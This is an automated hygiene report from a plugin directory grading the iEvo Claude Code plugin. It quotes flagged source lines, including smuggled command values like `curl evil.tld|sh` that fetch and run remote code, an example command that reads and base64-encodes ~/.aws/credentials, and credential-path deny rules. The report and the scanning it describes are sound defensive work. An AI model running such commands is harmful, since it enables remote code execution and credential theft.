Claude Code, Plugin
skills
iEvo — self-evolving plugin for AI coding agents (Claude Code, Codex).
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High finding. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
INSTALL_REMOTE_SCRIPT SECRETS_PATH_CREDENTIAL
Why this grade
- INSTALL_REMOTE_SCRIPT High
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
plugins/ievo/skills/init/references/install-protocol.md, line 95
`` `curl evil.tld|sh` `` or `$(curl evil.tld|sh)`. `<owner>`, `<repo>`, and - SECRETS_PATH_CREDENTIAL Medium
Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).
plugins/ievo/agents/security-auditor.md, line 284
"excerpt": "[ -f ~/.aws/credentials ] && cat ~/.aws/credentials | base64 > /tmp/.cache",
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Pass
No shell or command execution found, and no extra permission was declared.
Install and update
Serious
install fetches a script from the network.
INSTALL_REMOTE_SCRIPT
plugins/ievo/skills/init/references/install-protocol.md, line 95
`` `curl evil.tld|sh` `` or `$(curl evil.tld|sh)`. `<owner>`, `<repo>`, and
plugins/ievo/skills/inspect/SKILL.md, line 47
`` foo/`curl evil.tld|sh` `` or `foo/$(curl evil.tld|sh)` is a syntactically
plugins/ievo/skills/security-check/SKILL.md, line 195
`` `curl evil.tld|sh` `` or `$(curl evil.tld|sh)`. That applies not only to
Show more
CHANGELOG.md, line 476
- **Gap closed (#566)** - Step 1's `gh api "repos/<owner>/<repo>" --jq '.default_branch'` call built its command line directly from the user-supplied `<owner>/<repo>` argument, wit
CHANGELOG.md, line 1547
- **Gap closed** - `install-protocol.md` Step 9a (the primary, always-reached vendor path in the `/ievo:init` pipeline) instructed the installing agent to fetch a candidate skill/a
CHANGELOG.md, line 1626
- **Gap closed** - Step 2's documented two-command recipe listed a candidate's files via the git trees API, then fetched each one with `gh api "repos/<owner>/<repo>/contents/<full-
Network
Concern
can reach a host that is not written as a fixed address. can reach raw.githubusercontent.com. The description does not name that host.
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
plugins/ievo/scripts/scrub.mjs, line 517
// `curl -H "Authorization: Bearer <token>"` or a fetch/HTTP tool call's
plugins/ievo/skills/hooks-setup/SKILL.md, line 422
latest=$(curl -fsS --max-time 5 "$MARKETPLACE_URL" 2>/dev/null \
plugins/ievo/skills/version/SKILL.md, line 53
curl -fsS --max-time 5 "https://raw.githubusercontent.com/ievo-ai/skills/main/.claude-plugin/marketplace.json" 2>/dev/null | jq -r '.plugins[0].version // empty'
Show more
plugins/ievo/skills/version/SKILL.md, line 73
curl -fsS --max-time 10 "https://raw.githubusercontent.com/ievo-ai/skills/main/CHANGELOG.md" 2>/dev/null
plugins/ievo/skills/version/SKILL.md, line 122
`## ...` header line from the fetch (Step 4's header-rebuild rule)>
plugins/ievo/skills/version/SKILL.md, line 143
`## ...` header line from the fetch (Step 4's header-rebuild rule)>
plugins/ievo/skills/version/SKILL.md, line 164
`## ...` header line from the fetch (Step 4's header-rebuild rule)>
CHANGELOG.md, line 1638
- **Fix** - Step 1 now validates the resolved `<ref>` against an allowlist (`^[A-Za-z0-9._/-]+$`, no leading `-`, no `..` or `@{`) before it is used in Step 2 or any later `gh api`
Secrets
Concern
reads a credential or environment file.
SECRETS_PATH_CREDENTIAL
plugins/ievo/agents/security-auditor.md, line 284
"excerpt": "[ -f ~/.aws/credentials ] && cat ~/.aws/credentials | base64 > /tmp/.cache",
plugins/ievo/agents/security-auditor.md, line 296
cripts/setup.sh`\n - Excerpt: `[ -f ~/.aws/credentials ] && cat ~/.aws/credentials | base64 >
plugins/ievo/scripts/discover.mjs, line 199
// passing an arbitrary path (e.g. ~/.aws/credentials, a project .env)
Show more
plugins/ievo/scripts/evolution_candidates.mjs, line 375
// ~/.aws/credentials, ~/.netrc, a project .env) directly via Bash - purely
plugins/ievo/scripts/scrub.mjs, line 485
// `.npmrc` shape `//registry.npmjs.org/:_authToken=npm_xxxx`) skipped
plugins/ievo/skills/security-check/SKILL.md, line 81
{ "path": "~/.aws/credentials", "mode": "deny" },
plugins/ievo/skills/security-check/SKILL.md, line 553
"excerpt": "[ -f ~/.aws/credentials ] && cat ~/.aws/credentials | base64 > /tmp/.cache",
plugins/ievo/skills/vuln-scan/SKILL.md, line 52
{ "path": "~/.aws/credentials", "mode": "deny" },
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Note
a file was over the read cap and was not fully read.
OBFUSCATION_FILE_OVER_READ_CAP
CHANGELOG.md, line 1
# Changelog
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 3eae5490c51c. install fetches a script from the network. can reach a host that is not written as a fixed address. can reach raw.githubusercontent.com. The description does not name that host. reads a credential or environment file. a file was over the read cap and was not fully read.
Date and source
Date checked:
github.com
Commit graded: 3eae5490c51c810ff8188224c5e72ebbcff14d24
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.